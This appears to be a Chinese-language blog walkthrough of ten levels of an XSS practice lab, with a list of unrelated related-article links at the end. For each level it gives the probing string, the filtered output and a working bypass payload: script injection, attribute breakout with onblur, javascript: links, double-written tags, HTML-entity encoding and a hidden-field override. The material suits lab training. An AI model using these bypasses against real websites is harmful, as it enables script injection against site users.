当前位置: 首页 > news >正文

xss 通过秘籍

终极测试代码

<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>

第一关(没有任何过滤)

使用终极测试代码,查看源码

发现没有任何过滤,直接使用javascrupt中的alert弹框

<script>alert('wj')</script>

第二关(闭合方式)

先用终极测试代码,查看源码

<input name=keyword  value="<script>alert(/xss/)</script>">

我们要先闭合前面,然后注释掉后面

<input name=keyword  value=""><script>alert(/xss/)</script>//">

"><script>alert(/wj/)<script>//

第三关(过滤 < 和 ")

先用终极测试代码,查看源码

 value='&lt;sCr&lt;ScRiPt&gt;IPT&gt;OonN'&quot;\/(hrHRefEF)&lt;/sCr&lt;/ScRiPt&gt;

IPT&gt;'>
发现< 和 " 被实体化,不能使用,但是我们可以使用Javascript事件。

这里使用onblur事件。然后闭合方式是 ' 

<input name=keyword  value=' 'οnblur='alert(/xss/)' ''>

'onblur='alert(/1/)'

第四关(注意闭合方式)

先用终极测试代码,查看源码

发现没有变化

我们尝试第三关的方式,注意:这里的闭关方式是 "

<input name=keyword  value=" "οnblur='alert(/1/)' ">

"onblur='alert(/1/)'

第五关(大小写,script,on.)

先用终极测试代码,查看源码

value="<scr<scr_ipt>ipt>oo_nn'"\/(hrhrefef)</scr</script>ipt>"

过滤了大小写,script,on.
javascript 伪协议   a标签要独立运行,所以要闭合前面的<input>标签
value=" "><a href= "javascript:alert(/xss/)">click me</a> "

"><a href = "javascript:alert('wj')">click me</a>

第六关(过滤了on)

先用终极测试代码,查看源码

value="<sCr<ScRiPt>IPT>Oo_nN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>"
过滤了on,
value=""><a href = "javascript:alert('wj')">click me</a>"

"><a hRef = "javascript:alert('wj')">click me</a>

第七关(过滤)

我们用第六关的代码试试

<input name=keyword  value=""><a  = "java:alert('wj')">click me</a>">

发现href和script被过滤了,我们可以试试双写

<input name=keyword  value=" "><scrscriptipt>alert(/xss/)</scrscriptipt>">

"><scrscriptipt>alert(/xss/)</scrscriptipt>

第八关(html编码)

先用终极测试代码,查看源码

value="&lt;scr&lt;script&gt;ipt&gt;oonn'&quot;\/(hrhrefef)&lt;/scr&lt;/script&gt;ipt&gt;">
发现过滤了大小写,< .

所以使用html实体编码。 

javascript:alert('wj')&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;
&#x65;&#x72;&#x74;&#x28;&#x27;&#x77;&#x6a;&#x27;&#x29;

第九关(格式http://)

使用第八关方式,发现代码不合法。需要使用http://.

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;
&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x77;&#x6a;&#x27;&#x29;//http://

第十关(搜索框被隐藏)

发现没有搜索框,查看源码

发现是使用了hidden,隐藏了

我们可以修改他,让hidden失去作用
<input name="t_sort" value="" οnblur= 'alert(/xss/)' >type="hidden">

onblur='alert(/1/)'>

http://www.lryc.cn/news/227272.html

相关文章:

  • Kibana使用Watcher监控服务日志并发送飞书报警(Markdown)
  • Flutter笔记:光影动画按钮、滚动图标卡片组等
  • 【论文】利用移动性的比例公平蜂窝调度测量和算法
  • 内存条选购注意事项(电脑,笔记本)
  • ChatGPT 宕机?OpenAI 将中断归咎于 DDoS 攻击
  • go单元格测试
  • JavaScript理解表达式和语句的含义
  • Visual Studio导入Wiinform项目文件,引用显示黄色感叹号
  • 深入研究SVN代码检查的关键工具:svnchecker vs. SonarQube,选择最适合你的代码检查工具
  • 博客积分上一万一千了
  • docker 构建并运行 python项目
  • django建站过程(4)创建文档显示页面
  • uniapp本地存储的几种方式
  • 74hc595模块参考
  • 【Unity细节】Failed importing package???Unity导包失败?
  • 【问题记录】docker pull 镜像的时候 devel 版本和无 devel 版本的差别
  • 前后端跨域/ 同时运行两个项目
  • 进制的转换
  • 计算机简介
  • 《红蓝攻防对抗实战》十一.内网穿透之利用SSH协议进行隧道穿透
  • 工商银行卡安全码怎么看
  • 经典的测试开发面试题
  • win11下安装odoo17(conda python11)
  • HDMI之编码篇
  • 关于DataLoader是否shuffle在VOC2007语义分割数据集上引发的问题
  • 在以TAB为首地址的字存储区中存放有N个无符号数,试统计低3位全为1的数的个数(个数设为≤9),并显示。
  • python的输入input()和输出print(),及经验用法
  • Docker实现挂载的N种方式
  • 【使用python写一段代码将pdf文件转换为word文件】
  • 人工智能基础——图像认知与OpenCV